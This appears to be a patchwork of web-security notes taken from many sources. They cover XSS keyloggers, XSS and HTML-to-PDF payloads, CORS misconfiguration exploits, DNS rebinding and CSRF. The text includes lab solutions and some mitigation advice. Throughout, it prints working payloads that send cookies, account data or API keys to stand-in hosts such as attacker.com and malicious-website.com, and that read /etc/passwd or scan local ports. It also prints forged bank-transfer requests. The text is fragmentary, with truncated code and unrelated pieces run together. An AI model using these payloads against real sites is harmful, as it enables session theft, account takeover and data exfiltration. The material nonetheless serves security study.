browsers do not react the same way as the desktop version. The
mobile versions do not autofill at all, and they require an interaction to
show a popup containing the matching sets of credentials for that
origin.
Brave
Has the option to disable autofill? No
Will autofill? No
Brave is also based on Chromium but does not behave the same way
as the others. It does not autofill, no matter what, which prevents this
XSS attack vector for credential exfiltration. Instead, it requires an
interaction to show a popup containing the matching sets of
credentials for that origin.
Internet Explorer🪦
Has the option to disable autofill? Yes
Against all odds, Internet Explorer seems to be more secure than most
Chromium-based browsers as there is an option to disable the autofill
of credentials. However, if you disable that option, you can’t use the
“save credentials” feature anymore. The option is enabled by default.
Safari
Has the option to disable autofill? Yes
Will autofill? No
Safari does have the option to disable autofill, but it does not autofill
either way. It requires an interaction to show a popup containing the
matching sets of credentials for that origin.
https://www.gosecure.net/blog/2022/06/29/did-you-know-your-browsers-autofill-
credentials-could-be-stolen-via-cross-site-scripting-xss/
The script can be found in file keylogscript.html and can be tested on file captainslog.html. The
POST request is currently commented out, but if you wanted to use it, just uncomment and
provide the URL that you want the data to be sent to.
captainslog.html was an assignment completed for my web programming class, and is one of
many XSS-vulnerable pages that I've made. Simply paste the script (without newlines) into the
textbox and submit. On other vulnerable websites, scripts may need to be a body parameter
sent via POST.
This can also manually be added to the source code of websites through developer console.
Simply open up a webpage, pop open the element inspector and paste the script into the
HTML. Then close the inspector and let your target do their thing. Note that this is untested.
https://github.com/chentetran/xss-keylogger
https://www.webhackingtips.com/weekly-tips/week-13-xss-keylogger
What Is a Keylogger?
A keylogger (also known as a keystroke logger and keylogging software)
is a tool that records all keystrokes used by the monitored user.
Nowadays, there’ a variety of ways to record keys pressed on the target
device. In particular, you can catch one’s keystrokes with one of the
following tools:
1. hardware keyloggers;
2. program keyloggers;
3. acoustic keyloggers;
4. XSS keyloggers.
In this article, I’m going to tell you a bit about each type of keylogger and
to show you how a typical XSS keylogger works. The article is mostly
based on Geeksforgeeks, DZone, and Spyrix blog articles and is written
especially for HackerNoon.
Hardware Keyloggers
A hardware keylogger is a kind of device connected somewhere in
between the target computer and its keyboard. Modern hardware
keyloggers are so tiny that the end user can’t notice them. Such a tool
doesn’t require any special software and starts recording keystrokes as
soon as it’s attached to the monitored device. You even don’t need to
turn on your computer to start tracking user activities. Hardware
keyloggers can work for an unlimited period of time since they don’t
need any additional power source. However, they usually record a
limited number of keystrokes, meaning that you should access them
when there is not enough memory to capture new activities.
Software Keyloggers
A program keylogger was initially designed to record keystrokes like
hardware solutions. But now they are more complex and offer many
additional features. For instance, they can be used to capture mouse
clicks, screenshots, clipboard events, chats in social networks, emails,
multimedia files, USB and printer usage, and more.
In other words, program keyloggers can record any kind of user activity.
As a rule, such keyloggers should be installed manually on the target
device but sometimes they can be even installed remotely by entering
the user’s credentials (many iPhone keyloggers work in this way) or
sending a malicious file via an email, etc.
Program keyloggers support remote log delivery, providing you with the
recorded data wherever you’re located. Keystrokes are usually stored in
a small folder on the target device and then are provided to you via
email, FTP, LAN, or online account. Software keyloggers are invisible to
the user since they offer a hidden mode and are undetectable by anti-
virus software. Creating your own software keylogger is pretty simple
and doesn’t require any special knowledge except С# and Win32API.
Acoustic Keyloggers
Acoustic keyloggers are used to record sound a keyboard makes when
every key is pressed by the end user. According to various research,
every key produces a subtly different sound when struck. Further, each
keystroke sound is analyzed and identified with the pressed key. This
monitoring method isn’t widely used because it’s not convenient and is
rather time-consuming.
XSS Keylogger
XSS Keylogger is a simple way to record a webpage visitor’s data. It’s
used to record one’s passwords, to capture private messages, and to
leak personal information. In most cases, intruders steal cookie session
to identify the target user. However, sometimes the cookie session isn’t
enough and an intruder may need to know what keys the website’s
visitor presses.
If you want to test this keylogger on a PHP server, use the following
code:
This tutorial is a simple example of what you can record with Javascript
backdoor. It’s also possible to record mouse movements and clicks and
a DOM element and to view the recorded data in live mode.
https://hackernoon.com/how-to-make-a-simple-xss-keylogger-ubn3uuj
1 – XHR
The old way, but uses too many chars. Response is written in
the current document with write() so it needs to contain HTML.
"var x=new
XMLHttpRequest();x.open('GET','//0');x.send();
x.onreadystatechange=function(){if(this.readySt
ate==4){write(x.responseText)}}"
2 – Fetch
The new fetch() API makes things easier. Again, response is
written and must be HTML.
fetch('//0').then(r=>{r.text().then(w=>{write(w)})
})
Powered By the Tweet This Plugin
Tweet This
3 – Create Element
Straightforward, a script element is created in DOM. Response
must be javascript code.
with(top)body.appendChild
(createElement('script')).src='//0'
4 – jQuery Get
If there’s a native jQuery library loaded in target page, request
becomes shorter. Response must be HTML.
$.get('//0',r=>{write(r)})
https://brutelogic.com.br/blog/calling-remote-script-with-event-handlers/
XSS Payloads
Variations of XSS syntax
JavaScript being the most widely used language for malicious code, it can be
represented and transmitted in ways other than the common <script> tags.
For example, XSS using HTML event attributes. HTML supports DOM events to be
assigned as an attribute to HTML entities. When assigned, the events allow to execute
JavaScript code which doesn't need to be wrapped inside <script> ...
</script> tags:
<button onClick="alert('xss')">Submit</button>Copy to
clipboardErrorCopied
The risk presented with this attack is that web applications that attempt to blacklist or
filter so-called risky HTML tags like the script tags will fail in this case where the attacker
is able to inject JavaScript code to the page by including it as part of the allowed DOM
events.
• HTML5 Security - Due to the new HTML5 specification, browsers are adopting
new directives, attributes, elements and this introduces new vectors of attack,
some of which are related to XSS. html5sec is a good reference website to keep
up to date with such vulnerabilities related to insecure adoption of HTML5
features.
The Solution
XSS vulnerabilities expose and attack the end user by exploiting browser execution of
unintentional injected code into the page. As such, the path for defending against XSS
attacks lies on the client side when outputting potentially dangerous user data input.
• Filtering - by filtering, or sanitizing the un-trusted data that originated from the
user's input the end result is that the data is modified and removed of the
original text that it contained. If for example a user on a blog wanted to comment
and give an example of the use of <script> tags then filtering based on a
blacklist/whitelist will remove any offending tags such as <script>, even if the
user did not intend to execute this code on the browser maliciously but rather
just to print it and share the text on the website.
In summary, filtering is not the ideal solution to prevent XSS attacks. Validation and
filtering of the data should happen on the user's data input and not on the output
processing. Encoding the outputted data is on the other hand a better path to take to
prevent XSS attacks as it renders any data as plain text which the browser won't be
tricked into executing.
I> ## XSS attacks evolve I> Specifications, browsers, and the web in it's entirety
constantly changes and introduces new technologies that web applications adopt and
security needs to be adopted for as well. As such, XSS attacks have a great variety of
attack vectors to exploit and increasingly harder to defend from and patch.
OWASP has their own ESAPI project which aims to provide security relates tools,
libraries and APIs that developers can adopt in order to provide essential security. This
project has been ported to a Node.js library that is available as an npm package and is
called node-esapi.
node-esapi can be installed as any other npm package, and also update
the package.json file with its dependency:
Once installed, the library provides encoding functions for each type of data that should
be encoded, so that the following general guideline should be applied:
• Use JavaScript encoding when un-trusted input data is to be placed within the
context of an executable JavaScript code. For example, a string of input from the
user is expected to be used in a JavaScript source code such
as <script>showErrorMessage(userInput)</script>.
• Use HTML encoding when un-trusted input data is to placed within HTML
markup. For example if the data is to be placed inside <div> tags, <span> tags,
etc.
To encode HTML:
T> ## Encoding for other data representations. T> node-esapi also includes encoders for
CSS, URL, HTML Attributes, and for Base64 representation of data.
From the home of Yahoo!, xss-filters is another XSS encoding library. It is designed to
follow HTML5 specification for implementation of XSS filters, and is constantly reviewed
by security researchers from Yahoo!.
It is important to notice that xss-filters are intended to be used only inside an HTML
markup context. You should not use it for any un-trusted user input in other contexts like
JavaScript or CSS code, or other specific objects like <svg>, <object>, or <embed> tags.
T> ## Yahoo! is quite active in the Node.js community T> Did you know that Yahoo! is an
active player in the Node.js community? They have contributed to the npm repository
about a hundred of packages altogether with general JavaScript, and frontend libraries,
amongst Node.js.
Installing xss-filters:
Besides inHTMLData there are other APIs that exist to handle encoding un-trusted data in
other context:
With regards to HTML attributes, when using a single quote notation in attributes then
use the inSingleQuoteAttr method:
JavaScript:
HTML:
JavaScript:
HTML:
JavaScript:
HTML:
To further fine-tune the context of the un-trusted input from the user, such as whether it
is originated from a URI input then it is possible to use a specific method such as:
Summary
OWASP ranks Cross Site Scripting (XSS) in the 3rd position of the Top 10 vulnerabilities
and attack vectors. As such, our awareness of security concerns should be high for
attacks which are very common and easy to exploit.
To prevent XSS vulnerabilities, we learned about one of the basic mitigation techniques
which is to encode or escape the output data so that malicious user input would not
compromise the user's web browser by interpreting a maliciously injected JavaScript
code.
The libraries we reviewed to mitigate XSS are OWASP's own node-esapi and Yahoo!'s xss-
filters.
https://github.com/payloadbox/xss-payload-list
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
Please, notice that the <script></script> tags don't work always, so you will need a
different method to execute JS (for example, abusing <img ). Also, note that in a regular
exploitation you will be able to see/download the created pdf, so you will be able to see
everything you write via JS (using document.write() for example). But, if you cannot see
the created PDF, you will probably need extract the information making web request to you
(Blind).
Payloads
Discovery
<!-- Basic discovery, Write somthing-->
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
<img src="http://attacker.com"/>
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">
SVG
Any of the previous of following payloads may be used inside this SVG payload. One iframe
accessing Burpcollab subdomain and another one accessing the metadata endpoint are put as
examples.
<g>
<body xmlns="http://www.w3.org/1999/xhtml">
</body>
</foreignObject>
</g>
</svg>
xmlns="http://www.w3.org/2000/svg">
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>
Path disclosure
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<script src="http://attacker.com/myscripts.js"></script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<object data="file:///etc/passwd">
Bot delay
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">
Port Scan
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
img.src = `http://attacker.com/ping?port=${port}`;
});
checkPort(i);
</script>
<img src="https://attacker.com/startingScan">
SSRF
This vulnerability can be transformed very easily in a SSRF (as you can make the script load
external resources). So just try to exploit it (read some metadata?).
Attachments: PD4ML
There are some HTML 2 PDF engines that allow to specify attachments for the PDF, like
PD4ML. You can abuse this feature to attach any local file to the PDF. To open the attachment
I opened the file with Firefox and double clicked the Paperclip symbol to store the
attachment as a new file. Capturing the PDF response with burp should also show the
attachment in cleat text inside the PDF.
Labs
If you're already familiar with the basic concepts behind CORS vulnerabilities
and just want to practice exploiting them on some realistic, deliberately
vulnerable targets, you can access all of the labs in this topic from the link
below.
Same-origin policy
Read more
Same-origin policy
The cross-origin resource sharing protocol uses a suite of HTTP headers that
define trusted web origins and associated properties such as whether
authenticated access is permitted. These are combined in a header exchange
between a browser and the cross-origin web site that it is trying to access.
Read more
CORS and the Access-Control-Allow-Origin response header
Vulnerabilities arising from CORS configuration issues
Many modern websites use CORS to allow access from subdomains and
trusted third parties. Their implementation of CORS may contain mistakes or be
overly lenient to ensure that everything works, and this can result in exploitable
vulnerabilities.
One way to do this is by reading the Origin header from requests and including
a response header stating that the requesting origin is allowed. For example,
consider an application that receives the following request:
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-
website.com
Access-Control-Allow-Credentials: true
...
These headers state that access is allowed from the requesting domain
(malicious-website.com) and that the cross-origin requests can include cookies
(Access-Control-Allow-Credentials: true) and so will be processed in-
session.
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-
victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-
website.com/log?key='+this.responseText;
};
Host: normal-website.com
...
Origin: https://innocent-website.com
The application checks the supplied origin against its list of allowed origins and,
if it is on the list, reflects the origin as follows:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com
For example, suppose an application grants access to all domains ending in:
normal-website.com
hackersnormal-website.com
normal-website.com
normal-website.com.evil-user.net
The specification for the Origin header supports the value null. Browsers
might send the value null in the Origin header in various unusual situations:
• Cross-origin redirects.
• Requests from serialized data.
• Request using the file: protocol.
• Sandboxed cross-origin requests.
Some applications might whitelist the null origin to support local development
of the application. For example, suppose an application receives the following
cross-origin request:
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
allow-forms" src="data:text/html,<script>
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-
data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-
website.com/log?key='+this.responseText;
};
</script>"></iframe>
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin:
https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
https://subdomain.vulnerable-
website.com/?xss=<script>cors-stuff-here</script>
Breaking TLS with poorly configured CORS
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-
subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
http://trusted-subdomain.vulnerable-website.com
https://vulnerable-website.com
• The victim's browser makes the CORS request, including the origin:
http://trusted-subdomain.vulnerable-website.com
• The application allows the request because this is a whitelisted origin. The
requested sensitive data is returned in the response.
• The attacker's spoofed page can read the sensitive data and transmit it to any
domain under the attacker's control.
This attack is effective even if the vulnerable website is otherwise robust in its
usage of HTTPS, with no HTTP endpoint and all cookies flagged as secure.
Access-Control-Allow-Credentials: true
Without that header, the victim user's browser will refuse to send their cookies,
meaning the attacker will only gain access to unauthenticated content, which
they could just as easily access by browsing directly to the target website.
GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
The application server is trusting resource requests from any origin without
credentials. If users within the private IP address space access the public
internet then a CORS-based attack can be performed from the external site that
uses the victim's browser as a proxy for accessing intranet resources.
https://portswigger.net/web-security/cors
https://crashtest-security.com/cors-misconfiguration/
What is CORS?
The CORS (Cross-origin resource sharing) standard is needed because it allows servers to
specify who can access its assets and which HTTP request methods are allowed from external
resources.
A same-origin policy, requiers that both the server requesting a resource and the server
where the resource is located uses the same protocol (http://),domain name (internal-
web.com) and the same port (80). Then, if the server forces the same-origin policy, only web
pages from the same domain and port will be able to access the resources.
The following table shows how the same-origin policy will be applied in http://normal-
website.com/example/example.html :
*Internet Explorer will allow this access because IE does not take account of the port number
when applying the same-origin policy.
Access-Control-Allow-Origin Header
The specification of Access-Control-Allow-Origin allows for multiple origins, or the
value null, or the wildcard *. However, no browser supports multiple origins and there are
restrictions on the use of the wildcard *.(The wildcard can only be used alone, this will fail
Access-Control-Allow-Origin: https://*.normal-website.com and it cannot be
used with Access-Control-Allow-Credentials: true)
This header is returned by a server when a website requests a cross-domain resource, with an
Origin header added by the browser.
Access-Control-Allow-Credentials Header
The default behaviour of cross-origin resource requests is for requests to be passed without
credentials like cookies and the Authorization header. However, the cross-domain server can
permit reading of the response when credentials are passed to it by setting the CORS
Access-Control-Allow-Credentials header to true.
If the value is set to truethen the browser will send credentials (cookies, authorization
headers or TLS client certificates).
xhr.onreadystatechange = function() {
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
Pre-flight request
Under certain circumstances, when a cross-domain request:
Check in this link the conditions of a request to avoid sending of a pre-flight request
the cross-origin request is preceded by a request using the OPTIONS method, and the CORS
protocol necessitates an initial check on what methods and headers are permitted prior to
allowing the cross-origin request. This is called the pre-flight check. The server returns a list
of allowed methods in addition to the trusted origin and the browser checks to see if the
requesting website's method is allowed.
Note that even if a pre-flight request isn't sent because the "regular request" conditions are
respected, the response needs to have the authorization headers or the browser won't be
able to read the response of the request.
For example, this is a pre-flight request that is seeking to use the PUT method together with a
custom request header called Special-Request-Header:
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
Note that usually (depending on the content-type and headers set) in a GET/POST request no
pre-flight request is sent (the request is sent directly), but if you want to access the
headers/body of the response, it must contains an Access-Control-Allow-Origin header
allowing it. Therefore, CORS doesn't protect against CSRF (but it can be helpful).
Exploitable misconfigurations
Notice that most of the real attacks require Access-Control-Allow-Credentials to be
set to true because this will allow the browser to send the credentials and read the response.
Without credentials, many attacks become irrelevant; it means you can't ride on a user's
cookies, so there is often nothing to be gained by making their browser issue the request
rather than issuing it yourself.
One notable exception is when the victim's network location functions as a kind of
authentication. You can use a victim’s browser as a proxy to bypass IP-based authentication
and access intranet applications. In terms of impact this is similar to DNS rebinding, but much
less fiddly to exploit.
In other cases, the developer could check that the domain (victimdomain.com) appears in the
Origin header, then, an attacker can use a domain called attackervictimdomain.com to
steal the confidential information.
<script>
req.onload = reqListener;
req.open('get','https://acc21f651fde5631c03665e000d90048.web-security-
academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-
academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-
academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-
academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-
academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
Regexp bypasses
If you found the domain victim.com to be whitelisted you should check if
victim.com.attacker.com is whitelisted also, or, in case you can takeover some subdomain,
check if somesubdomain.victim.com is whitelisted.
The _ character (in subdomains) is not only supported in Safari, but also in Chrome and
Firefox!
Then, using one of those subdomains you could bypass some "common" regexps to find the
main domain of a URL.
Let us consider an example, the following code shows the configuration that allows
subdomains of requester.com to access resources of provider.com.
if ($_SERVER['HTTP_HOST'] == '*.requester.com')
//Access data
Assuming that a user has access to sub.requester.com but not requester.com, and assuming
that sub.requester.com is vulnerable to XSS. The user can exploit provider.com by using
cross-site scripting attack method.
Server-side cache poisoning
If the stars are aligned we may be able to use server-side cache poisoning via HTTP header
injection to create a stored XSS vulnerability.
If an application reflects the Origin header without even checking it for illegal characters like ,
we effectively have a HTTP header injection vulnerability against IE/Edge users as Internet
Explorer and Edge view \r (0x0d) as a valid HTTP header terminator:GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
This isn't directly exploitable because there's no way for an attacker to make someone's web
browser send such a malformed header, but I can manually craft this request in Burp Suite
and a server-side cache may save the response and serve it to other people. The payload I've
used will change the page's character set to UTF-7, which is notoriously useful for creating XSS
vulnerabilities.
GET / HTTP/1.1
Host: example.com
X-User-id: <svg/onload=alert\(1\)>
HTTP/1.1 200 OK
Access-Control-Allow-Origin: \*
Access-Control-Allow-Headers: X-User-id
Content-Type: text/html
...
With CORS, we can send any value in the Header. By itself, that's useless since the response
containing our injected JavaScript won't be rendered. However, if Vary: Origin hasn't been
specified the response may be stored in the browser's cache and displayed directly when the
browser navigates to the associated URL. I've made a fiddle to attempt this attack on a URL of
your choice. Since this attack uses client-side caching, it's actually quite reliable.
<script>
url = 'https://example.com/'; // beware of mixed content blocking when targeting HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send();
</script>
Bypass
XSSI (Cross-Site Script Inclusion) / JSONP
XSSI designates a kind of vulnerability which exploits the fact that, when a resource is included
using the script tag, the SOP doesn’t apply, because scripts have to be able to be included
cross-domain. An attacker can thus read everything that was included using the script tag.
This is especially interesting when it comes to dynamic JavaScript or JSONP when so-called
ambient-authority information like cookies are used for authentication. The cookies are
included when requesting a resource from a different host. BurpSuite plugin:
https://github.com/kapytein/jsonp
Read more about the difefrent types of XSSI and how to exploit them here.
Try to add a callback parameter in the request. Maybe the page was prepared to send the
data as JSONP. In that case the page will send back the data with Content-Type:
application/javascript which will bypass the CORS policy.
CORS-escape
CORS-escape provides a proxy that passes on our request along with its headers, and it also
spoofs the Origin header (Origin = requested domain). So the CORS policy is bypassed. The
source code is on Github, so you can host your own.
xhr.open("GET", "https://cors-
escape.herokuapp.com/https://maximum.blog/@shalvah/posts");
simple-cors-escape
Proxying is kinda like “passing on" your request, exactly as you sent it. We could solve this in
an alternative way that still involves someone else making the request for you, but this time,
instead of using passing on your request, the server makes its own request, but with
whatever parameters you specified.
Even if you set the TTL very low (0 or 1) browsers have a cache that will prevent you from
abusing this for several seconds/minuted.
So, this technique is useful to bypass explicit checks (the victim is explicitly performing a DNS
request to check the IP of the domain and when the bot is called he will do his own).
Or when you can have a user/bot in the same page for a long time (so you can wait until the
cache expires).
If you need something quick to abuse this you can use a service like
https://lock.cmpxchg8b.com/rebinder.html.
If you want to run your own DNS rebinding server you can use something like DNSrebinder,
then expose your local port 53/udp, create an A registry pointing to it (ns.example.com), and
create a NS registry pointing to the previously created A subdomain(ns.example.com). Then,
any subdomain of that subdomain (ns.example.com), will be resolved by your host.
You can have a service worker that will flood the DNS cache to force a second DNS request.
SO the flow will be like:
1. 1.
2. 2.
Service worker floods DNS cache (the cached attacker server name is deleted)
3. 3.
You can create 2 A records (or 1 with 2 IPs, depending on the provider) for the same
subdomain in the DNS provider and when a browser checks for them he will get both.
Now, if the browser decides to use the attacker IP address first, the attacker will be able to
serve the payload that will perform HTTP requests to the same domain. However, now that
the attacker knows the IP of the victim, he will stop answering the victim browser.
When the browser finds that the domain isn't responding to him, it will use the second given
IP, so he will access a different place bypassing SOP. The attacker can abuse that to get the
information and exfiltrate it.
Note that in order to access localhost you should try to rebind 127.0.0.1 in Windows and
0.0.0.0 in linux. Providers such as godaddy or cloudflare didn't allow me to use the ip 0.0.0.0,
but AWS route53 allowed me to create one A record with 2 IPs being one of them "0.0.0.0"
For more info you can check https://unit42.paloaltonetworks.com/dns-rebinding/
• If internal IPs aren't allowed, they might forgot forbidding 0.0.0.0 (works on
Linux and Mac)
• If internal IPs aren't allowed, respond with a CNAME to localhost (works on
Linux and Ma
• If internal IPs aren't allowed as DNS responses, you can respond CNAMEs to
internal services such as www.corporate.internal.
• https://github.com/chenjj/CORScanner
• https://github.com/lc/theftfuzzer
• https://github.com/s0md3v/Corsy
• https://github.com/Shivangx01b/CorsMe
https://book.hacktricks.xyz/pentesting-web/cors-bypass
https://infosecwriteups.com/cross-origin-resource-sharing-cors-explanation-exploitation-
b4179235728b
CSRF attacks exploit a mechanism that makes the sign-in process more
convenient. Browsers often automatically include credentials in the request when a
user tries to access a site. These credentials can include the user’s session
cookies, basic authentication credentials, IP address, and Windows domain
credentials.
In this article:
The attacker can construct two types of URLs to perform the illicit funds transfer,
depending on whether the application was designed using GET or POST requests.
The original request would look like something like this, transferring the amount to
account #344344:
GET http://acmebank.com/fundtransfer?acct=344344&amount=5000
HTTP/1.1
The attacker’s forged request might look like this. The attacker changes the
account number to their own account (#224224 in this example) and increases the
transfer amount to $50,000:
http://acmebank.com/fundtransfer?acct=224224&amount=50000
Now the attacker needs to trick the victim into visiting this forged URL while signed
into the banking application. The attacker might draft an email like this:
To: Victim
Subject: A gift of flowers for you!
Hello victim,
We know your birthday is coming up and have a special gift for you. Just click here
to receive it!
The link “click here” would lead to the forged URL shown above.
Alternatively, the attacker could display a pixel within the email that fires and
activates the URL if the victim enables viewing images in their email client. This is
more dangerous because it requires no direct user action:
<img
src="http://acmebank.com/fundtransfer?acct=224224&amount=500000"
width="0" height="0" border="0">
Forged POST request
If the banking application uses POST requests, the user’s original operation would
look like this:
In this case, the attacker would need to craft a <form> element with the forged
request:
When the user submits the form, believing they will receive a gift, the post request
is executed and, if the user is currently signed into the application, the illicit transfer
is carried out.
The attacker can create a copy of this form, changing the password to one known
by the attacker (123 in this example):
Unlike the original form, the attacker’s version does not have a submit button, and
has a script that automatically submits the form as soon as the user loads the
HTML.
The attacker hosts this form on a malicious website. To trick users, they can use a
domain name similar to the bank’s one, like this:
https://acme-bank.biz/password.html
The attacker needs to trick the victim into visiting the above URL—for example by
sending an email that is supposedly from the bank. When a victim visits the URL,
the following HTTP POST is generated:
In this forged POST request, the Host is the vulnerable application, acmebank.com,
but the Origin and Referer indicate the request is really coming from the attacker’s
malicious site, acme-bank.biz. We are assuming the user previously signed into the
banking application so the Cookie field retains their valid session ID.
This vulnerable application will authenticate the request based on the recognized
session ID, and accept the form contents, changing the password to the attacker’s
desired string.
uTorrent built its web interface in such a way that GET requests enabled state-
changing operations. According to the HTTP/1.1 standard (RFC 2616), GET and
HEAD methods should never be state changing, and should only be used to allow
clients to retrieve data.
Attackers discovered two exploitable URLs that could allow them to deploy
malware to a victim’s device. This URL forced a torrent file download:
http://localhost:8080/gui/?action=add-url&s=http://attacker-
site.com/malware
The attackers added HTML elements with automatic action triggered by JavaScript
on multiple Internet forums, and also sent spam emails with these elements to a
large distribution list. Anyone who had the uTorrent application while visiting the
forum page or opening the email was hit by the attack. The attack enabled the
attackers to deploy malware on a large number of client devices.
Related content: See more real-life attack examples in our guide to CSRF
attacks
Whenever the server renders a page with a sensitive operation, a unique CSRF
token is passed to the user. For this to work properly, the server must perform the
requested operation only when the token is fully validated and reject all requests for
invalid or missing tokens. However, a common mistake when implementing CSRF
is to reject requests with invalid tokens, but continue accepting requests with
missing tokens. This makes the CSRF token ineffective.
Whenever a user can submit a request that changes system state, the request
must be protected with a CSRF token. If the form is not intended to allow users to
make stateful changes, developers must limit its scope to prevent abuse by
attackers.
https://brightsec.com/blog/csrf-example/
This is the only process in the attack that can be tricky to get the
hang of.
To solve the lab, craft some HTML that uses a CSRF attack to
change the viewer’s email address and upload it to your exploit
server.
——————————————————————————
———————
That’s pretty straightforward we need to change the viewer’s
email address and there are no defenses implemented.
When the victim will visit the link the lab will be solved.
In the next part, we will perform this attack with the defenses in
place.
MITIGATING CSRF:
https://packetstormsecurity.com/files/157514/Apache-OFBiz-17.12.03-Cross-Site-Request-
Forgery.html
https://ofbiz.apache.org/security.html
# Vendor Homepage: https://ofbiz.apache.org/index.html
# Software Link: https://archive.apache.org/dist/ofbiz/apache-ofbiz-
17.12.01.zip
# Version: 17.12.01
# Tested on: Linux
1- Origin Reflection
As we know from the previous article, if you want to allow cross-
origin.com to access content from initial-origin.com you will
need to specify it in the configuration of CORS in initial-
origin.com using the Access-Control-Allow-Origin header:
Access-Control-Allow-Origin: cross-origin.com
But what if there is another domain that also needs access to the
resources of initial-origin ? CORS does not allow developers to
specify a static list of allowed domains. In order to solve this
problem, developers either use the wildcard character * , or
generate the Access-Control-Allow-Origin header dynamically.
We will come back to the first solution later on. Generating this
header dynamically can be devastating to your security if it is not
done properly. Many servers read the Origin header of the
request and write it to the Access-Control-Allow-Origin header,
thus giving access to all domains, including malicious ones. You
can detect this vulnerability very easily, you can send HTTP
requests from custom origins and check if the response gives
access control to these origins.
HTTP Request:
GET /api/getPrivateKey HTTP/1.1
Host: www.secure-bank.com
Origin: www.evil-domain.com
Connection: closeHTTP Response:
HTTP/1.1 200 OK
Access-control-allow-credentials: true
Access-control-allow-origin: www.evil-domain.com
{"[private API key]"}
function reqListener() {
location='//attacker.net/log?key='+this.responseText;
};
The above exploit sends the received private key to the attacker’s
